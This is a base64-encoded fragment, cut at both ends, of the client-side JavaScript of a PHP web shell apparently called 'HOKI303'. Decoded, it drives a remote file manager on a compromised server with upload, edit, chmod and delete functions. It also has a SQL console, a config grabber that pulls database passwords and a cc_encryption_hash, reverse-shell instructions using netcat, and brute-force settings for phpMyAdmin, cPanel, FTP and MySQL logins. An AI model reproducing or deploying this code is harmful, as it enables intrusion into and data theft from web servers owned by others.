1sW2ldJiYobys9IjxhIG9uY2xpY2s9XCJnKCdGaWxlc01hbicsJyIrcitsW2ldKyIvJyk7XCIgcGF0aD0nIityK2xbaV0rIi8nIGhyZWY9JyNhY3Rpb249ZmlsZW1hbiZwYXRoPSIrcitsW2ldKycvXCcgY2xhc3M9ImhlYWRlcl9wd2QiPicrbFtpX
SsiLzwvYT4iLHIrPWxbaV0rIi8iKTskKCJoZWFkZXJfY3dkIikuaW5uZXJIVE1MPWErbysiICIsaG9raUluaXRDd2RDb250ZXh0KCksbD0obD10K2wuam9pbigiLyIpKS5yZXBsYWNlKCIvLyIsIi8iKSxkLmZvb3Rlcl9mb3JtLmMudmFsdWU9bCwk
KCJmb290ZXJfY3dkIikudmFsdWU9bCxjXz1sfWZ1bmN0aW9uIGV2YWxKUyhodG1sKXt2YXIgbmV3RWxlbWVudD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTtuZXdFbGVtZW50LmlubmVySFRNTD1odG1sO2Zvcih2YXIgc2NyaXB0cz1uZXd
FbGVtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJzY3JpcHQiKSxpPTA7aTxzY3JpcHRzLmxlbmd0aDsrK2kpe3ZhciBzY3JpcHQ9c2NyaXB0c1tpXTtldmFsKHNjcmlwdC5pbm5lckhUTUwpfX1mdW5jdGlvbiBfQWpheChlLGEsdCxpLGwpe3Zhci
BvPSExO3JldHVybiB3aW5kb3cuWE1MSHR0cFJlcXVlc3Q/bz1uZXcgWE1MSHR0cFJlcXVlc3Q6d2luZG93LkFjdGl2ZVhPYmplY3QmJihvPW5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpKSx2b2lkIDAhPT1sJiYoX0hPS0lfQ
UpBWF9bbF09byksbz8oby5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXs0PT1vLnJlYWR5U3RhdGUmJjIwMD09by5zdGF0dXM/ImZ1bmN0aW9uIj09dHlwZW9mIHQmJih0KG8ucmVzcG9uc2VUZXh0LGwpLGhva2lDbGVhckFqYXgobCkpOjQ9
PW8ucmVhZHlTdGF0ZSYmMjAwIT1vLnN0YXR1cyYmKGhva2lBamF4RXJyb3Ioby5zdGF0dXMsbCxvLnN0YXR1c1RleHQsby5yZXNwb25zZVRleHQpLGhva2lDbGVhckFqYXgobCkpfSxvLm9wZW4oIlBPU1QiLGUsITApLG8uc2V0UmVxdWVzdEhlYWR
lcigiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiksdm9pZCBvLnNlbmQoYSkpOnZvaWQgYWxlcnQoIkVycm9yICEiKX1mdW5jdGlvbiBob2tpQ2xlYXJBamF4KGUpe19IT0tJX0FKQVhfLmhhc093blByb3
BlcnR5KGUpJiZkZWxldGUgX0hPS0lfQUpBWF9bZV19ZnVuY3Rpb24gaGFuZGxldXAoZSxhKXt2YXIgdD0iX19mbmFtZXVwIjtpZigwIT1hJiYodD0iX19mbmFtZXVwIithKSxlLmZpbGVzLmxlbmd0aD4xKXtmb3IodmFyIGk9IiIsbD0wO2w8ZS5ma
Wxlcy5sZW5ndGg7bCsrKWkrPWUuZmlsZXNbMF0ubmFtZSsiLCAiOyQodCkuaW5uZXJIVE1MPWl9ZWxzZSBlLmZpbGVzWzBdLm5hbWUmJigkKHQpLmlubmVySFRNTD1lLmZpbGVzWzBdLm5hbWUpfWZ1bmN0aW9uIHUoZSl7dmFyIGE9ITEsdD0wLGk9
aG9raV9jdXJyZW50X2ZtX2lkLGw9bmV3IEZvcm1EYXRhLG89ImZpbGVzbWFuX2hvbGRlcl8iK2k7bC5hcHBlbmQoImEiLGhva2liNjQoZS5hLnZhbHVlKSksbC5hcHBlbmQoImMiLGhva2liNjQoZS5jLnZhbHVlKSksbC5hcHBlbmQoImhva2kxIix
ob2tpYjY0KGUuaG9raTEudmFsdWUpKSxsLmFwcGVuZCgiY2hhcnNldCIsaG9raWI2NChlLmNoYXJzZXQudmFsdWUpKSxsLmFwcGVuZCgiYWpheCIsaG9raWI2NChlLmFqYXgudmFsdWUpKSxlLnF1ZXJ5U2VsZWN0b3JBbGwoImlucHV0W3R5cGU9Zm
lsZV0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2lmKDA9PWUudmFsdWUubGVuZ3RoKXJldHVybiExO2lmKGUuZmlsZXMubGVuZ3RoPjEpZm9yKHZhciBhPTA7YTxlLmZpbGVzLmxlbmd0aDthKyspbC5hcHBlbmQoImZbXSIsZS5maWxlc1thXSk7ZWxzZ
SBsLmFwcGVuZCgiZltdIixlLmZpbGVzWzBdKTt0Kyt9KSwkKCJmb290ZXJ1cCIpLnZhbHVlPSIiLCQoIl9fZm5hbWV1cCIpLmlubmVySFRNTD0iIjtmb3IodmFyIHI9MTtyPD11cGNvdW50O3IrKyl7dmFyIG49JCgicGZvb3RlcnVwXyIrcik7biYm
bi5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKG4pLHVwY291bnQtLX1pZigwPT11cGNvdW50JiZ1cGNvdW50KyssMD09dClyZXR1cm4hMTt2YXIgcz0idXBfYmFyXyIrZ2V0UmFuZG9tKCk7JCgidXBfYmFyX2hvbGRlciIpLmluc2VydEFkamFjZW50SFR
NTCgiYmVmb3JlZW5kIiwiPGRpdiBpZD0nIitzKyInIGNsYXNzPSd1cF9iYXInPjwvZGl2PiIpO2UuYy52YWx1ZTtpZih3aW5kb3cuWE1MSHR0cFJlcXVlc3Q/YT1uZXcgWE1MSHR0cFJlcXVlc3Q6d2luZG93LkFjdGl2ZVhPYmplY3QmJihhPW5ldy
BBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpKSxhKXt2YXIgYz0kKHMpO19IT0tJX0FKQVhfW3NdPWEsYS51cGxvYWQmJihjLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixhLnVwbG9hZC5vbnByb2dyZXNzPWZ1bmN0aW9uKGUpe3ZhciBhP
WUucG9zaXRpb258fGUubG9hZGVkLHQ9ZS50b3RhbFNpemV8fGUudG90YWwsaT1NYXRoLmZsb29yKGEvdCoxZTMpLzEwKyIlIjtjLnN0eWxlLndpZHRoPWl9KSxhLm9ubG9hZD1mdW5jdGlvbihlKXsyMDA9PT1hLnN0YXR1cz9jLnN0eWxlLmRpc3Bs
YXk9Im5vbmUiOmhva2lBamF4RXJyb3IoYS5zdGF0dXMsInVwbG9hZF9hcmVhIixhLnN0YXR1c1RleHQsYS5yZXNwb25zZVRleHQpLGhva2lDbGVhckFqYXgocyl9LGEub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoND09YS5yZWFkeVN
0YXRlJiYyMDA9PWEuc3RhdHVzKXtpZigibm9wZXJtIiE9YS5yZXNwb25zZVRleHQmJiJbXSIhPWEucmVzcG9uc2VUZXh0KXt2YXIgZSx0PUpTT04ucGFyc2UoYS5yZXNwb25zZVRleHQpLGw9IiIscj1kLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK28rIi
AjZmlsZW1hbmFnZXJfdGFibGUgdHIiKS5sZW5ndGgtMztmb3IoZSBpbiB0KXsrK3I7dmFyIG49dFtlXS5uYW1lLHM9ZW5jb2RlVVJJQ29tcG9uZW50KG4pLGM9dFtlXS5zaXplLGY9dFtlXS5wZXJtLF89dFtlXS5tb2RpZnksdT10W2VdLm93bmVyL
HA9bG9hZFR5cGUobiwiZmlsZSIpO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIiMiK28rIiAuZm1hbmFnZXItcm93IGFbZm5hbWU9JyIrbisiJ10iKS5wYXJlbnRFbGVtZW50LnBhcmVudEVsZW1lbnQucGFyZW50RWxlbWVudC5yZW1vdmUoKX1jYXRjaChl
KXt9bCs9Jzx0ciBjbGFzcz0iZm1hbmFnZXItcm93IiBpZD0idHJfcm93XycrcisnIj48dGQ+PGRpdiBjbGFzcz0ibXlDaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmW10iIHZhbHVlPSInK24rJyIgY2xhc3M9ImNoa2J4IiB
pZD0iY2hlY2tib3gnK3IrJyI+PGxhYmVsIGZvcj0iY2hlY2tib3gnK3IrJyI+PC9sYWJlbD48L2Rpdj48L3RkPjx0ZCBpZD0idGRfcm93XycrcisnIj4nK3ArJzxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6aW5saW5lLWJsb2
NrO2JvdHRvbToxMnB4OyI+PGEgcm93PSInK3IrJyIgaWQ9ImlkXycrcisnIiBjbGFzcz0ibWFpbl9uYW1lIiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsJ2F1dG8nLCcnLCcnLCcnLCdmaWxlJyk7XCIgaHJlZj1cIiNhY3Rpb249ZmlsZW1hbiZhb
XA7cGF0aD0iK2NfKyImYW1wO2ZpbGU9IitzKyciIGZuYW1lPSInK24rJyIgZnR5cGU9ImZpbGUiIHBhdGg9IicrY18rJyIgb3B0X3RpdGxlPSIiPicrbisnPC9hPjwvZGl2PjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsi
IGNsYXNzPSJtYWluX3NpemUiPicrYysnPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX21vZGlmeSI+JytfKyc8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnV
uc2V0OyIgY2xhc3M9Im1haW5fb3duZXJfZ3JvdXAiPicrdSsnPC9zcGFuPjwvdGQ+PHRkPjxhIGlkPSJpZF9jaG1vZGVfJytyKyciIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25jbGljaz0iZWRpdG9yKFwnJytzKyInLCdjaG1vZCcsJycsJy
csJycsJ2ZpbGUnKVwiPiIrZisnPC9hPjwvdGQ+PHRkPjxhIGlkPSJpZF9yZW5hbWVfJytyKyciIHRpdGxlPSJSZW5hbWUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsI
CdyZW5hbWUnLCcnLCcnLCcnLCdmaWxlJylcIj5SPC9hPiA8YSBpZD1cImlkX3RvdWNoXyIrcisnIiB0aXRsZT0iTW9kaWZ5IERhdGV0aW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9y
KFwnJytzKyInLCAndG91Y2gnLCcnLCcnLCcnLCdmaWxlJylcIj5UPC9hPiA8YSBpZD1cImlkX2VkaXRfIityKyciIGNsYXNzPSJhY3Rpb25zIiB0aXRsZT0iRWRpdCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFw
nJytzKyInLCAnZWRpdCcsJycsJycsJycsJ2ZpbGUnKVwiPkU8L2E+IDxhIGlkPVwiaWRfZG93bmxvYWRfIityKyciIHRpdGxlPSJEb3dubG9hZCIgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXC
dGaWxlc1Rvb2xzXCcsbnVsbCxcJycrbisiJywgJ2Rvd25sb2FkJylcIj5EPC9hPjxhIGlkPVwiaWRfZGVsZXRlXyIrcisnIiB0aXRsZT0iRGVsZXRlIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0id
mFyIGNoayA9IGNvbmZpcm0oXCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICcrcysiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrcysiJykgOiAnJztcIj4gWCA8L2E+PC90ZD48L3RyPiJ9ZC5xdWVyeVNlbGVj
dG9yKCIjIitvKyIgI2ZpbGVtYW5hZ2VyX2xhc3RfdHIiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWJlZ2luIixsKSxob2tpU2hvd05vdGlmaWNhdGlvbigiRmlsZShzKSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkiLCJVcGxvYWRlciIpLGhva2l
GbW5nckNvbnRleHRSb3coKX1lbHNlIGhva2lTaG93Tm90aWZpY2F0aW9uKCJGb2xkZXIgaGFzIG5vIHBlcm1pc3Npb24uLi4iLCJVcGxvYWRlciIsImVycm9yIik7aG9raUNoZWNrQ3VycmVudEZpbGVzTWFuVGFiKGkpfX0sYS5vcGVuKCJQT1NUIi
xkLlVSTCksYS5zZW5kKGwpfX1mdW5jdGlvbiBob2tpQ2hlY2tDdXJyZW50RmlsZXNNYW5UYWIoZSl7LTE9PSQoImZpbGVzbWFuX3RhYl8iK2UpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJmaWxlc21hbi10YWItYWN0aXZlIikmJiQoImZpbGVzb
WFuX3RhYl8iK2UpLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIil9ZnVuY3Rpb24gZyhhLGMsaG9raTEsaG9raTIsaG9raTMsaG9raTQsaG9raTUsaG9raTYsaG9raTcsaG9raTgsaG9raTksaG9raTEwLGNoYXJzZXQpe3ZhciBmbV9pZD0wPT1o
b2tpX2ZtX2lkP2hva2lfY3VycmVudF9mbV9pZDpob2tpX2ZtX2lkLGZtX2lkMj1ob2tpX2ZtX2lkLGZtX3BhdGg9bnVsbD09Y3x8MD09Yy5sZW5ndGg/Y186YyxkX21mX2M9Zm1fcGF0aCxnX2FjdGlvbl9pZD1ob2tpX2JlZm9yZV9kb19hY3Rpb25
faWQ7MD09aG9raV9mbV9pZCYmKHNldChhLGMsaG9raTEsaG9raTIsaG9raTMsaG9raTQsaG9raTUsaG9raTYsaG9raTcsaG9raTgsaG9raTksaG9raTEwLGNoYXJzZXQpLGRfbWZfYz1kLm1mLmMudmFsdWUpLCJHZXRDb25maWciIT1hJiYiZG93bm
xvYWQiIT1ob2tpMiYmaXNsaW51eCYmIi8iIT1kX21mX2Muc3Vic3RyKDAsMSkmJihkX21mX2M9Ii8iK2RfbWZfYyksIkZpbGVzTWFuIj09YT8oaG9raWxvYWRlcigiZmlsZXNtYW5faG9sZGVyXyIrZm1faWQsImJsb2NrIiksZ19hY3Rpb25faWQ9I
mZpbGVzbWFuX2hvbGRlcl8iK2ZtX2lkKToiIiE9Z19hY3Rpb25faWQ/aG9raWxvYWRlcihnX2FjdGlvbl9pZCwiYmxvY2siKToiRmlsZXNUb29scyIhPWEmJiJkb3dubG9hZCIhPWhva2kyJiYiR2V0Q29uZmlnIiE9YSYmKCJzcWwiPT1hPyhzaG93
RWRpdG9yKCJkYXRhYmFzZV93aW5kb3ciKSxnX2FjdGlvbl9pZD1sb2FkUG9wVXBEYXRhYmFzZSgiIikpOiJGaWxlc01hbiIhPWEmJihzaG93RWRpdG9yKCJvcHRpb25zX3dpbmRvdyIpLGdfYWN0aW9uX2lkPWxvYWRQb3BVcE9wVGlvbnMoYSkpLGh
va2lsb2FkZXIoZ19hY3Rpb25faWQsImJsb2NrIikpO2Zvcih2YXIgZGF0YT0iYT0iK2hva2liNjQoYSkrIiZjPSIraG9raWI2NChkX21mX2MpKyImIixpPTE7aTw9MTA7aSsrKWRhdGErPSJob2tpIitpKyI9Iitob2tpYjY0KGV2YWwoImQubWYuaG
9raSIraSsiLnZhbHVlIikpKyImIjtpZigiRmlsZXNNYW4iPT1hKXt2YXIgcGFnZW51bT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2dfYWN0aW9uX2lkKyIgLnBhZ2UtbnVtYmVyLmFjdGl2ZS1wYWdlLW51bWJlciIpO251bGwhPXBhZ2VudW0mJihkYXRhK
z0icGFnZW51bT0iK2hva2liNjQoZ2V0Q29va2llKGdfYWN0aW9uX2lkKyJfcGFnZV9udW1iZXIiKSksc2V0Q29va2llKGdfYWN0aW9uX2lkKyJfcGFnZV9udW1iZXIiLDEsMjAxMikpfWlmKGRhdGErPSImYWpheD0iK2hva2liNjQoInRydWUiKSwi
RmlsZXNUb29scyI9PWEmJiJkb3dubG9hZCI9PWhva2kyKXtob2tpTG9hZGVyT25Ub3AoIm5vbmUiKTt2YXIgZGw9JCgiZGxGb3JtIik7cmV0dXJuIGRsLmEudmFsdWU9aG9raWI2NCgiZGxmaWxlIiksZGwuYy52YWx1ZT1ob2tpYjY0KGRfbWZfYyk
sZGwuZmlsZS52YWx1ZT1ob2tpYjY0KGhva2kxKSx2b2lkIGRsLnN1Ym1pdCgpfSJHZXRDb25maWciIT1hPyhfQWpheChkLlVSTCxkYXRhLGZ1bmN0aW9uKGUsdCl7ZXZhbEpTKGUpO3ZhciBpPSExO2lmKGhva2lMb2FkZXJPblRvcCgibm9uZSIpLC
JzcWwiPT1hKXJldHVybiBjb25zb2xlLmxvZyh0KSxsb2FkUG9wVXBEYXRhYmFzZShlLHQpLCExO2lmKCJGaWxlc01hbiI9PWEpe2hva2lsb2FkZXIoImZpbGVzbWFuX2hvbGRlcl8iK2ZtX2lkLCJub25lIiksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZ
XNtYW5faG9sZGVyXyIrZm1faWQpLmlubmVySFRNTD1lLGZtX3BhdGg9Zm1fcGF0aC5yZXBsYWNlKC9cL1wvL2csIi8iKSwkKCJmaWxlc21hbl90YWJfIitmbV9pZCkuc2V0QXR0cmlidXRlKCJwYXRoIixmbV9wYXRoKTt2YXIgbD1ob2tpR2V0TGFz
dEZvbGRlck5hbWUoZm1fcGF0aCk7ZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5fdGFiXyIrZm1faWQrIiBzcGFuIikuaW5uZXJIVE1MPWwsaG9raUZtbmdyQ29udGV4dFJvdygpLCJmdW5jdGlvbiI9PXR5cGVvZiBob2tpMSYmaG9raTEoZSksaG9
raUNoZWNrQ3VycmVudEZpbGVzTWFuVGFiKGZtX2lkKX1lbHNlKG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZHx8Ii4iPT10LnN1YnN0cigwLDEpKSYmIi4iPT10LnN1YnN0cigwLDEpJiYoaT0hMCx0PXQuc3Vic3RyKDEpLHNob3dFZGl0b3IoIm
9wdGlvbnNfd2luZG93IikpLGl8fGhva2lsb2FkZXIodCwibm9uZSIpLGxvYWRQb3BVcE9wVGlvbnModCxlKSwicGhwZXZhbCI9PWEmJmhva2lMb2FkQWNlRWRpdG9yKCJQaHBDb2RlIiksImNvbGR1bXBlciI9PWEuc3Vic3RyKDAsOSkmJmhva2lDb
2xEdW1wZXJJbml0KCl9LCExLCIiPT1nX2FjdGlvbl9pZD8iLiIrYTpnX2FjdGlvbl9pZCksZ19hY3Rpb25faWQ9IiIsMD09Zm1faWQyJiZjIT1jXyYmYyYmaW5pdERpcihjKSk6KGhva2lsb2FkZXIoaG9raTMsImJsb2NrIiksX0FqYXgoZC5VUkws
ZGF0YSxmdW5jdGlvbihlLGEpe3ZhciB0PWE7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiKygiaWRfZGIiIT1hLnN1YnN0cigwLDUpPyJvcHRpb25fIithOmEpKTt0cnl7KGU9SlNPTi5wYXJzZShlKSkuaG9zdCYmZS51c2VyJiZlLmRibmFtZSYmKCQoImR
iX2hvc3QiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX2hvc3QiKS52YWx1ZT1lLmhvc3QpLCQoImRiX3VzZXIiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX3VzZXIiKS52YWx1ZT1lLnVzZXIpLCQoImRiX25hbWUiKSYmKGEucXVlcnlTZWxlY3Rvci
giI2RiX25hbWUiKS52YWx1ZT1lLmRibmFtZSksJCgiZGJfcHciKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX3B3IikudmFsdWU9ZS5wYXNzd29yZCksJCgiZGJfcHJlZml4IikmJmUucHJlZml4JiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfcHJlZml4I
ikudmFsdWU9ZS5wcmVmaXgpLCQoImNjX2VuY3J5cHRpb25faGFzaCIpJiZlLmNjX2VuY3J5cHRpb25faGFzaCYmKGEucXVlcnlTZWxlY3RvcigiI2NjX2VuY3J5cHRpb25faGFzaCIpLnZhbHVlPWUuY2NfZW5jcnlwdGlvbl9oYXNoKSl9Y2F0Y2go
ZSl7fWhva2lsb2FkZXIodCwibm9uZSIpfSwhMSxob2tpMykpfWZ1bmN0aW9uIGhva2lHZXRMYXN0Rm9sZGVyTmFtZShlKXt2YXIgYT1lLnJlcGxhY2UoL1wvXC8vZywiLyIpLnNwbGl0KCIvIik7Zm9yKHZhciB0IGluIGEpMD09YVt0XS5sZW5ndGg
mJmEuc3BsaWNlKHQsMSk7dmFyIGk9YVthLmxlbmd0aC0xXTtyZXR1cm4gMD09aS5sZW5ndGgmJihpPSIvIiksaX1mdW5jdGlvbiBob2tpbG9hZGVyKGUsYSl7aWYoMD09ZS5sZW5ndGgpcmV0dXJuITE7dHJ5e3ZhciB0PSQoImxvYWRlcl8iK2UpO2
lmKG51bGw9PXQmJiJibG9jayI9PWEpe3ZhciBpPW51bGw7ImVkaXRvciI9PWU/aT1kLnF1ZXJ5U2VsZWN0b3IoIiNlZGl0b3IgLmVkaXRvci1tb2RhbCIpOiJpZF9kYiI9PWUuc3Vic3RyKDAsNSk/aT0kKGUpOiJ0ZXJtaW5hbF9pZCI9PWUuc3Vic
3RyKDAsMTEpP2k9JChlKToiZWRpdG9yIj09ZS5zdWJzdHIoMCw2KT9pPSQoZSk6ImNnaWZyYW1lIj09ZT9pPSQoImNnaWZyYW1lIik6ImZpbGVzbWFuX2hvbGRlciI9PWUuc3Vic3RyKDAsMTUpPyhpPSQoZSkpLnN0eWxlLm1pbkhlaWdodD0iMzAw
cHgiOmk9JCgib3B0aW9uXyIrZSksaS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCI8ZGl2IGlkPSdsb2FkZXJfIitlKydcJyBjbGFzcz0ib3B0aW9ucy1sb2FkZXItaG9sZGVyIj48ZGl2IHBhcmVudD0iJytlKyciIG9uY2xpY2s9Imh
va2lBamF4Q29udHJvbGxlcih0aGlzKTsiIGNsYXNzPSJzdG9wQWpheCI+WyBTdG9wIGl0IF08L2Rpdj48ZGl2IGNsYXNzPSJob2tpdGVhbS1sb2FkZXItdGV4dCI+SE9LSTMwMzwvZGl2PjxkaXYgY2xhc3M9Imhva2ktYWpheC1lcnJvciI+PC9kaX
Y+PGltZyBzcmM9XCdodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wb
mctaW1hZ2VfNjYzNzE1OS5wbmdcJz48L2Rpdj4nKX1lbHNlImZpbGVzbWFuX2hvbGRlciI9PWUuc3Vic3RyKDAsMTUpJiYoJChlKS5zdHlsZS5taW5IZWlnaHQ9IjAiKSxudWxsIT10JiYodC5zdHlsZS5kaXNwbGF5PWEpfWNhdGNoKGUpe319ZnVu
Y3Rpb24gZnMoZSl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBkaXYuc2YiKTtteXNxbF9jYWNoZS5oYXNPd25Qcm9wZXJ0eShhKXx8KG15c3FsX2NhY2hlW2FdPXt9KSxob2tpbG9hZGVyKGE
sImJsb2NrIik7dmFyIGk9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9ob3N0XSIpLnZhbHVlLGw9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9sb2dpbl0iKS52YWx1ZSxvPXQucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT
1zcWxfcGFzc10iKS52YWx1ZSxyPXQucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKT90LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2Jhc2VdIikudmFsdWU6dC5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT1zcWxfY
mFzZV0iKS52YWx1ZSxuPXQucXVlcnlTZWxlY3Rvcigic2VsZWN0W25hbWU9dHlwZV0iKS52YWx1ZSxzPXQucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfY291bnRdIikuY2hlY2tlZD8idHJ1ZSI6IiI7X0FqYXgoZC5VUkwsImE9Iitob2tp
YjY0KCJTcWwiKSsiJmhva2kxPSIraG9raWI2NCgicXVlcnkiKSsiJmhva2kyPSZjPSIraG9raWI2NChjXykrIiZjaGFyc2V0PSIraG9raWI2NCgiVVRGLTgiKSsiJnR5cGU9Iitob2tpYjY0KG4pKyImc3FsX2hvc3Q9Iitob2tpYjY0KGkpKyImc3F
sX2xvZ2luPSIraG9raWI2NChsKSsiJnNxbF9wYXNzPSIraG9raWI2NChvKSsiJnNxbF9iYXNlPSIraG9raWI2NChyKSsiJnNxbF9jb3VudD0iK2hva2liNjQocykrIiZjdXJyZW50X215c3FsX2lkPSIraG9raWI2NChhKSsiJmFqYXg9Iitob2tpYj
Y0KCJ0cnVlIiksZnVuY3Rpb24oZSxhKXtsb2FkUG9wVXBEYXRhYmFzZShlLGEpLGV2YWxKUyhlKSxob2tpbG9hZGVyKGEsIm5vbmUiKX0sITEsYSl9ZnVuY3Rpb24gY3RsYmMoZSl7dmFyIGE9JCgiYmNTdGF0dXMiKSx0PSQoImJjaXBBY3Rpb24iK
TsiYmluZCI9PWUudmFsdWU/KHQuc3R5bGUuZGlzcGxheT0ibm9uZSIsYS5pbm5lckhUTUw9IjxzbWFsbD5QcmVzcyBgIDxmb250IGNvbG9yPSdyZWQnPj4+PC9mb250PiBgIGJ1dHRvbiBhbmQgcnVuIGAgPGZvbnQgY29sb3I9J3JlZCc+bmMgc2Vy
dmVyX2lwIHBvcnQ8L2ZvbnQ+IGAgb24geW91ciBjb21wdXRlcjwvc21hbGw+Iik6KHQuc3R5bGUuZGlzcGxheT0iaW5saW5lLWJsb2NrIixhLmlubmVySFRNTD0iPHNtYWxsPlJ1biBgIDxmb250IGNvbG9yPSdyZWQnPm5jIC1sIC12IC1wIHBvcnQ
8L2ZvbnQ+IGAgb24geW91ciBjb21wdXRlciBhbmQgcHJlc3MgYCA8Zm9udCBjb2xvcj0ncmVkJz4+PjwvZm9udD4gYCBidXR0b248L3NtYWxsPiIpfWZ1bmN0aW9uICQoZSl7cmV0dXJuIGQuZ2V0RWxlbWVudEJ5SWQoZSl9ZnVuY3Rpb24gYWRkbm
V3dXAoKXt2YXIgZT0iZm9vdGVydXBfIit1cGNvdW50LGE9InBmb290ZXJ1cF8iK3VwY291bnQsdD0xIT11cGNvdW50PyJwZm9vdGVydXBfIisodXBjb3VudC0xKToicGZvb3RlcnVwIixpPWQuY3JlYXRlRWxlbWVudCgicCIpO2kuaW5uZXJIVE1MP
Sc8bGFiZWwgY2xhc3M9ImlucHV0ZmlsZSIgZm9yPSInK2UrJyI+PHNwYW4gaWQ9Il9fZm5hbWV1cCcrdXBjb3VudCsnIj48L3NwYW4+IDxzdHJvbmc+Jm5ic3A7Jm5ic3A7Q2hvb3NlIGEgZmlsZTwvc3Ryb25nPjwvbGFiZWw+PGlucHV0IGlkPSIn
K2UrJyIgdHlwZT0iZmlsZSIgbmFtZT0iZltdIiBvbkNoYW5nZT0iaGFuZGxldXAodGhpcywnK3VwY291bnQrJyk7IiBtdWx0aXBsZT4nLGkuaWQ9YSxpLmFwcGVuZEFmdGVyKCQodCkpLHVwY291bnQrK31mdW5jdGlvbiBob2tpX3NlYXJjaGVyX3R
vb2woZSl7c3dpdGNoKGUpe2Nhc2UiYWxsIjpjYXNlImRpcnMiOl9ob2tpU2V0KCEwLCJEaXNhYmxlZCIpO2JyZWFrO2Nhc2UiZmlsZXMiOl9ob2tpU2V0KCExLCJwaHAiKX19ZnVuY3Rpb24gX2hva2lTZXQoZSxhKXtkLnNyY2guZXh0LmRpc2FibG
VkPWUsZC5zcmNoLmV4dC52YWx1ZT1hfWZ1bmN0aW9uIGRpc19pbnB1dChlKXtzd2l0Y2goZSl7Y2FzZSJwaHBteWFkbWluIjpicnV0ZVNldCghMCwiRGlzYWJsZWQiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJkaXJlY3QiOmJydXRlU2V0KCExLCIyM
jIyIiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiY3AiOmJydXRlU2V0KCExLCIyMDgyIiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiZnRwIjpicnV0ZVNldCghMCwiRGlzYWJsZWQiLCJmdHA6Ly8iKTticmVhaztjYXNlIm15c3FsIjpicnV0ZVNldCghMSwi
MzMwNiIsImh0dHA6Ly8iKTticmVhaztjYXNlImZ0cGMiOmJydXRlU2V0KCExLCIyMSIsImh0dHA6Ly8iKX19ZnVuY3Rpb24gYnJ1dGVTZXQoZSxhLHQpe2M9IjIxIiE9YT8ibG9jYWxob3N0IjoiZnRwLmV4YW1wbGUuY29tIiwkKCJwb3J0IikuZGl
